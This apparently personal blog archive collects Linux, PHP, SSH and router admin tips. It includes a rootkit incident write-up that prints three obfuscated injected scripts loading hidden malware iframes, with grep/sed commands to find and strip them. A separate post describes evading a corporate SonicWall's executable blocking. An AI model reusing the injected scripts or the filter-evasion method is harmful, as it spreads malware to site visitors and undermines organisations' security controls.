Category Archives: Helpful Tips

VirtualBox Images CentOS keyboard settings problem

I was using readymade CentOS images for VirtualBox from VirtualBoxes CentOS images. I noticed that some of the images come with weird keyboard settings, such that you can’t use the pipe (passing information from command to command), dash (for command parameters), @ (email sign), etc keys. In other words, when you try to type these keys, other keys would appears and vice versa. All of these keys are crucial to running any commands on the CentOS server.

The problem is that the VirtualBox image stores the keyboard setting that was used when it was created. Since this server image was built in Italy, and I am located in the US, there were obviously key differences.

The obvious solution is to change it to your preferred keyboard layout. There are 2 ways of doing it:

  1. Easier way: Install system-config-keyboard through yum. The caveat is this will install 75+ other bloat packages that you probably don’t need. However the command system-config-keyboard would configure your keyboard for you.
    yum install system-config-keyboard
  2. Advanced way: Use
    loadkeys

    command to change the keys temporarily and then make a change to

    /etc/sysconfig/keyboard

    to make a permanent change (after restart).

    loadkeys us # or your own locale
    vim /etc/sysconfig/keyboard # replace KEYTABLE value to your locale

PHP misreporting existence of directory or files

Recently I was working with a WordPress site where I was deleting a network. When the network was deleted, the root site was also deleted (or vice versa). And when the root site deleted, it deleted its own media directory and the parent network’s media directory as well. This worked out OK in most cases (because the root site and root network are one-in-the-same in a multisite network). However in some of my workplace’s custom code, we hooked into both network and site deletion. We tried to delete some extra folders attached with the network and site. Some folders were shared, so once they were deleted, they should’ve shown up as missing. However the folders were showing up as existing on second try and when deleting were giving out errors. So…

PHP has something called stat cache to make file operations faster. It caches information anytime you make a call to functions like “stat(), lstat(), file_exists(), is_writable(), is_readable(), is_executable(), is_file(), is_dir(), is_link(), filectime(), fileatime(), filemtime(), fileinode(), filegroup(), fileowner(), filesize(), filetype(), and fileperms().” Coincidentally, PHP was misreporting the existence of files and folders when they were clearly deleted and glob() would be confirming that fact. In the end, we had to add calls to clearstatcache() to avoid this trap.

I wish there was a way to disable the stat caching for a session, because calling this function every time gets to be a pain.

mysqldump and .my.cnf tip to avoid “ignoring option ‘–databases'” error

Don’t like how the mysqldump command keeps reading the .my.cnf and outputting the following warning/error:
mysqldump: ignoring option '--databases' due to invalid value 'dbname'

It’s been reported as a bug to mysql devs, but they keep saying it is by design, and working as intended. Here’s how you should structure the .my.cnf to avoid it:


[client]
user=user1
password=pw1
[mysql]
database=dbname

This way the “mysqldump dbname” doesn’t return that hideous error message and “mysql dbname” also works like a charm.

rsyncd tips for TomatoUSB/DD-WRT

I wanted to integrate a NAS with rsyncd on a TomatoUSB router (equipped with ipkg and USB hard drive connect). I also wanted this NAS to be available from the outside, so I found that the instructions online were incomplete. If you’re having problems with it, please follow these two tips:

  1. rsync cannot connect to rsyncd from within the network. This is the default setup that everyone wants, so it should just work. The problem is that the command that everyone tells us to use with rsyncd profiles (rsyncd.conf: [profilename]) is wrong, even on dd-wrt tutorial. It is missing an extra semicolon, so the command should be:
    rsync file.ext user@server::profilename/optional/path

    (Notice how profiles need 2 semicolons)

  2. rsyncd is not accessible from outside the network. I haven’t seen instructions for these. To do this, one must do 2 things:
    • Add a rule to Port Forwarding section of the UI: forward TCP port 873 (default rsyncd port) to 192.168.1.1 (the router IP/gateway).
    • run the following command that adds a rule to the iptables firewall, inside Scripts > Firewall, or run it in the command line for a quick test (but it will disappear once you restart router):
      iptables -A INPUT -j ACCEPT -p tcp --dport 873
    • For OpenWRT routers, one would either use uci or add the above rule to /etc/storage/post_iptables_script.sh and do mtd_storage.sh save.

Rootkit hacked Win7, stole ftp passwords, and spread malware

What happened:
Over the past weekend, I got hit by ZeroAccess rootkit, which I’ve recently heard about making the news on a few security related sites. It disabled Microsoft Security Essentials and Windows Defender, and took over the Windows Security Center. It further controls the Network layer so that it can disable any connections to security sites. To keep itself in control, it installs itself as a service, a startup item and several scheduled tasks. It kills your exe associations at each restart (which means you can’t run any executables, possibly to remove the damned trojans/viruses). While all this is happening, it keeps installing more malware.

Internet help:
BleepingComputer (particularly the FixNCR.reg file is very helpful in restoring exe file association) and their forums
MalwareBytes AntiMalware didn’t help me much, because this rootkit and its malware friends kept coming back. (The problem is that these rootkits are modifying memory on the fly, so whatever success you think you have is misleading.)

How I got rid of it:
In safe mode, ran Kaspersky Virus Removal Tool 2011, TDSSKiller, Combofix
(Restore executable file associations by using the FixNCR.reg tool I listed above)
Once the above three fixed the issue, I used MBAM, MS Security Essentials, Spyware Doctor (not free) and SuperAntiSpyware (with Full Scans) to verify that my computer was clean.

Stolen ftp passwords:
It scans for ftp software programs, such as FileZilla, which like other ftp programs will store all your passwords in plaintext for any random person to grab. Lesson learned: Use SSH keys with passphrase to prevent this problem in the future. So it sent all these passwords back to their database, so the attackers (log below) connected to each site, recursively looked for all the common files: index.htm, index.html, index.php, login.php, auth.html, etc, etc and put the following codes (usually at the end):

  1. Code:
    <script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​zirycatum.com/​k985ytv.htm">​</iframe>​
  2. Code:
    <script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​numudozaf.com/​k985ytv.htm">​</iframe>​​
  3. Code:
    <script>mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​hysofufewobe.com/​k985ytv.htm">​</iframe>​

    How to find and remove these exploits:
    Find:

    find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \;

    Exaplanation:
    Find all files recursively starting from current directory that have py/php/htm/html as extension, look for those 3 keywords (“frameBorder”, “setAttribute”, then “document.body.appendChild”).
    Notes: You should make sure this command outputs filenames of files that have the exploit html code. You might need to change the keywords (if the virus code has changed). Also, “2> /dev/null” will ignore all permissions/access errors, you might want to take that out if you want to see errors for files that you don’t have access to.

    Replace (just adds sed, the file editing tool):

    find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \; | xargs -I {} sed -i.hacked 's#<script>wa=.*</script>##g' {}

    Explanation of the command after the pipe (|):
    For each file from the previous command, edit it such that we remove from the starting script tag to the ending script tag, but only if “wa=” follows the starting script tag. Of course, you will need to run this command, replacing the “wa=” with “ti=” (like the above 2 pasted exploit codes, or whatever else the the command is currently using). This script will also backup each of the exploited file (with the extension .hacked), just in case you lose something important.

    How to prevent future ftp edits:
    Don’t use ftp programs that store plaintext passwords, or better yet use passphrase’d SSH keys (with an SSH agent to simplify your life).

    Google StopBadware
    StopBadware.org is a service, which comes with all the popular browsers like FF, Chrome, Safari. Everytime you visit a site, this service is used to check if the page/website is listed as a site that propagates badware. So as you can imagine all the exploited files (above) resulted in all the domains getting blacklisted from these browsers and on top of that, Google Search will display a “This site is harmful” message. Firefox implementation of this service is the worst because Firefox tries its hardest to make you stop visiting the site. Most likely, your site will get flagged by the Googlebot, and you will also get an email from Google titled “Malware notification regarding victimsite.com” sent to the common webmaster email addresses, abuse@victimsite.com, admin@victimsite.com, webmaster@victimsite.com, etc (so as a good practice, you should make sure one of these addresses work).
    To fix this, you will need to add your site to Google Webmaster Tools (really helpful tool for all sorts of webmaster activities, and then “Request a Review” from Diagnostics > Malware section. This is just one way, I think you can also request a review through stopbadware.org (the original vendor), but the request will probably still go through the original reporter (most likely google). Also, some requests are resolved within a day (for popular sites), and some take as long as 2 days. I’ve also noticed that a convincing argument made about security haul in the comment when asking for a review helps your case.

    Finally, Some ip addresses and an example of what it looks like in logs

    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /folderthis/folderthat/" 226 1862
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE index.htm" 213 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR index.htm" 226 2573
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR index.htm" 226 3018

    2nd server:
    Aug 14 08:58:41 customer proftpd[6367]: (::ffff:218.93.122.165[::ffff:218.93.122.165]) - FTP session opened.
    Aug 14 23:37:04 customer proftpd[16356]: (::ffff:117.41.182.209[::ffff:117.41.182.209]) - FTP session closed.
    Aug 15 00:20:34 customer proftpd[22467]: (::ffff:62.212.66.15[::ffff:62.212.66.15]) - FTP session opened.
    Aug 15 09:12:04 customer proftpd[8899]: (::ffff:204.12.252.138[::ffff:204.12.252.138]) - FTP session closed.
    Aug 15 17:09:20 customer proftpd[25532]: (::ffff:178.17.165.146[::ffff:178.17.165.146]) - FTP
    Aug 15 23:42:16 customer proftpd[10474]: (::ffff:95.211.14.25[::ffff:95.211.14.25]) - FTP session closed.
    Aug 16 02:22:53 customer proftpd[17143]: (::ffff:119.128.168.56[::ffff:119.128.168.56]) - FTP session opened.
    Aug 16 03:51:34 customer proftpd[20771]: (::ffff:111.74.239.55[::ffff:111.74.239.55]) - FTP session closed.
    Aug 16 23:32:22 customer proftpd[3396]: (::ffff:61.131.51.193[::ffff:61.131.51.193]) - FTP session opened.

SSH private/public key auth not working

Problem: I can’t set up an automated login (passwordless with ssh agent) to one of my servers.

Tip: Best way to debug SSH problems is by using ssh -vvvv server. The extra verbosity flags will tell you exactly what is going on at each interaction.

Details:
I was receiving the following code:
debug1: Trying private key: /Users/inderpreetsingh/.ssh/id_rsa
debug1: PEM_read_PrivateKey failed
debug1: read PEM private key done: type
debug3: Not a RSA1 key file /Users/inderpreetsingh/.ssh/id_rsa.
debug1: read PEM private key done: type RSA
Identity added: /Users/inderpreetsingh/.ssh/id_rsa (/Users/inderpreetsingh/.ssh/id_rsa)
debug1: read PEM private key done: type RSA
debug3: sign_and_send_pubkey
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password,hostbased

debug1: Trying private key: /Users/inderpreetsingh/.ssh/id_dsa
debug3: no such identity: /Users/inderpreetsingh/.ssh/id_dsa
debug2: we did not send a packet, disable method

debug3: authmethod_lookup password
debug3: remaining preferred: ,password
debug3: authmethod_is_enabled password
debug1: Next authentication method: password
inderpreetsingh@server's password:

Analysis: The errors are misleading. They seem to indicate that the identity file on our own machine is the culprit. But the problem was the .ssh directory and the authorized_keys file permissions. They may be too lax or too restrictive.

Fix: From your home directory, fire the following permissions:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

And for good measure, make sure you alone own the files:

chown username:username ~/.ssh
chown username:username ~/.ssh/authorized_keys

And passwordless SSH here I come.

Can’t download executables on a Sonicwall corporate network

We have a SonicWall corporate network at our local Gurdwara. It for some reason prohibits some .exe files from being downloaded. Although some executables work just fine. For some executables, only an empty (0 byte) file is downloaded. For some files, my Chrome browser returns Error 101 (net::ERR_CONNECTION_RESET): Unknown error. My ftp (filezilla) fails with the following error:

Response: 150 Opening BINARY mode data connection for mp3DC213.zip (242059 bytes).
Error: Transfer connection interrupted: ECONNABORTED - Connection aborted
Response: 426 Failure writing network stream.
Error: File transfer failed

Clearly the router/gateway is blocking the files. And it is smart enough to scan the files and knows when the same executable file has been named test.mp3 and it can even read zip archive files.

Solution:
In times of need, the one sure way of getting files is to fire up a remote desktop connection or vnc or ssh session, download the file to that remote machine, compress it either 7zip (.7z extension), tarfile (.tar extension) or bzip2 (.bz2 extension) format, and then download to local computer using ftp or upload to any file uploading site.

PS: I have not tested .rar (winrar format). If anybody can test this, let me know if it works.

No php53-pear for RHEL 5.6, download it the traditional way!

I had to update to the latest vBulletin 4, but for that I needed php5.3. Luckily, RHEL has put out php53-* packages (I installed php 5.3.3-1.el5_6.1 btw). I downloaded them all but they were missing php53-pear* package. I’m not sure if this is just the case for x86_64.

So the main problem was getting PEAR packages to install. I tried to get the newer way of downloading pear packages, pyrus (pear2). However, the command php pyrus.phar install ___ resulted in messages like these:
The sqlite3 extension is required.
You must compile PHP with sqlite3 enabled, or install the necessary extension for your distribution.

(Not sure which extension of php53 would resolve this)

The sqlite3 extension is required.
You must compile PHP with sqlite3 enabled, or install the necessary extension for your distribution.

(This one is resolved by downloading php53-xml, thankfully available)

Anyhow, I didn’t want to go on a hunt to try to get these php53 special packages by following the instructions listed in the manual. However, the url listed in the manual http://pear.php.net/go-pear.phar makes php-fcgi put up a blank/empty page. I had a feeling it’s these .phar (weird php compressed archives) files that they’re using. Luckily in the comments, I noticed somebody said to get http://pear.php.net/go-pear. Now that my friends worked like a charm. All I had to do was download that to the server, open it up in the browser and follow the steps as it shows.

The rest comes easy. If you got questions, fire away.

Virtualenvwrapper on CentOS/RHEL with Virtualmin

I used the IUS Community and EPEL repositories to install python 2.6 on my RHEL 5.6 Tikanga box. However I faced some errors, which I didn’t see fully documented online so I figured they would come handy to myself and whoever else tries to do similar things.

Problem 1: Error on mkvirtualenv and other commands: No module named virtualenvwrapper.hook_loader
Resolution: After looking at the source code, virtualenvwrapper can’t find our special python installation. Put the following line in your .bashrc:

VIRTUALENVWRAPPER_PYTHON=/usr/bin/python26

along with the other two lines that everybody tells you to put in:

export WORKON_HOME=$HOME/.virtualenvs
source <strong>/usr/bin/virtualenvwrapper.sh</strong>

(Note that virtualenvwrapper was installed to the above location, this is a different location than the one that everybody else (who is documenting the procedure) is installing at. I’m not sure if this is a new change in virtualenv or because of our special python26 installation. So use locate to find your location properly.)

Problem 2: Virtualenvwrapper commands do not auto-complete or can’t be found also unless .bashrc is sourced manually.
Reason: .bashrc is not executed when logging in to the box (like it should be because it is listed inside .bash_profile, which should be executed also)
Solution: This happens because virtualmin setup’s default $SHELL for each non-root user is /bin/sh. To fix this for on user, open up /etc/passwd, find the user that you are interested in, and change the /bin/sh part to /bin/bash. To fix the default for each virtualmin created user, go to virtualmin’s admin page, under System Customization > Custom Shells > Choose the /bin/bash custom shell.

Fix Pear/Mail due to CentOS/RHEL repos using old pear

I couldn’t install the Mail PEAR package because the pear version shipped with the current CentOS/RHEL is 1.4.9, whereas the required version is 1.5.6 or above. The following is the error that you may see.

# pear install Mail
WARNING: channel "pear.php.net" has updated its protocols, use "channel-update pear.php.net" to update
Did not download optional dependencies: pear/Net_SMTP, use --alldeps to download automatically
pear/Mail requires PEAR Installer (version >= 1.5.6), installed version is 1.4.9
pear/Mail can optionally use package "pear/Net_SMTP" (version >= 1.4.1)
No valid packages found
install failed

There are three problems above:

  1. WARNING: channel “pear.php.net” has updated its protocols, use “channel-update pear.php.net” to update
  2. Did not download optional dependencies: pear/Net_SMTP, use –alldeps to download automatically
  3. Main problem: pear/Mail requires PEAR Installer (version >= 1.5.6), installed version is 1.4.9

To fix problem #1 (update channel pear.php.net):

# pear channel-update pear.php.net
Retrieving channel.xml from remote server
Update of Channel "pear.php.net" succeeded

To fix problem #2 (Net_SMTP is not installed), run:

# pear install --alldeps Mail 
pear/Mail requires PEAR Installer (version >= 1.5.6), installed version is 1.4.9
downloading Net_SMTP-1.4.4.tgz ...
Starting to download Net_SMTP-1.4.4.tgz (12,264 bytes)
.....done: 12,264 bytes
downloading Net_Socket-1.0.10.tgz ...
Starting to download Net_Socket-1.0.10.tgz (5,429 bytes)
...done: 5,429 bytes
downloading Auth_SASL-1.0.4.tgz ...
Starting to download Auth_SASL-1.0.4.tgz (5,795 bytes)
...done: 5,795 bytes
install ok: channel://pear.php.net/Auth_SASL-1.0.4
install ok: channel://pear.php.net/Net_Socket-1.0.10
install ok: channel://pear.php.net/Net_SMTP-1.4.4

To fix problem #3 (old pear version), first upgrade pear:

# pear upgrade pear
pear/PEAR dependency package "pear/Structures_Graph" downloaded version 1.0.4 is not the recommended version 1.0.3, but may be compatible, use --force to install
pear/PEAR dependency package "pear/Console_Getopt" downloaded version 1.3.0 is not the recommended version 1.2.3, but may be compatible, use --force to install
pear/Archive_Tar requires PEAR Installer (version >= 1.5.4), installed version is 1.4.9
pear/Console_Getopt requires PEAR Installer (version >= 1.9.1), installed version is 1.4.9
downloading Structures_Graph-1.0.4.tgz ...
Starting to download Structures_Graph-1.0.4.tgz (30,318 bytes)
.........done: 30,318 bytes
downloading XML_Util-1.2.1.tgz ...
Starting to download XML_Util-1.2.1.tgz (17,729 bytes)
...done: 17,729 bytes
upgrade ok: channel://pear.php.net/XML_Util-1.2.1
upgrade ok: channel://pear.php.net/Structures_Graph-1.0.4

But this still doesn’t update base pear, so run:

# pear upgrade --force pear
warning: pear/PEAR dependency package "pear/Console_Getopt" downloaded version 1.3.0 is not the recommended version 1.2.3
warning: pear/Archive_Tar requires PEAR Installer (version >= 1.5.4), installed version is 1.4.9
warning: pear/Console_Getopt requires PEAR Installer (version >= 1.9.1), installed version is 1.4.9
downloading PEAR-1.9.1.tgz ...
Starting to download PEAR-1.9.1.tgz (293,587 bytes)
.............................................................done: 293,587 bytes
downloading Archive_Tar-1.3.7.tgz ...
Starting to download Archive_Tar-1.3.7.tgz (17,610 bytes)
...done: 17,610 bytes
downloading Console_Getopt-1.3.0.tgz ...
Starting to download Console_Getopt-1.3.0.tgz (4,408 bytes)
...done: 4,408 bytes
upgrade ok: channel://pear.php.net/Console_Getopt-1.3.0
upgrade ok: channel://pear.php.net/Archive_Tar-1.3.7
upgrade ok: channel://pear.php.net/PEAR-1.9.1
PEAR: Optional feature webinstaller available (PEAR's web-based installer)
PEAR: Optional feature gtkinstaller available (PEAR's PHP-GTK-based installer)
PEAR: Optional feature gtk2installer available (PEAR's PHP-GTK2-based installer)
To install use "pear install pear/PEAR#featurename"

Now we can install pear’s Mail:

# pear install --alldeps Mail
downloading Mail-1.2.0.tgz ...
Starting to download Mail-1.2.0.tgz (23,214 bytes)
........done: 23,214 bytes
install ok: channel://pear.php.net/Mail-1.2.0

You might also need Mail_mime:

# pear install Mail_mime
downloading Mail_Mime-1.8.1.tgz ...
Starting to download Mail_Mime-1.8.1.tgz (31,530 bytes)
.........done: 31,530 bytes
install ok: channel://pear.php.net/Mail_Mime-1.8.1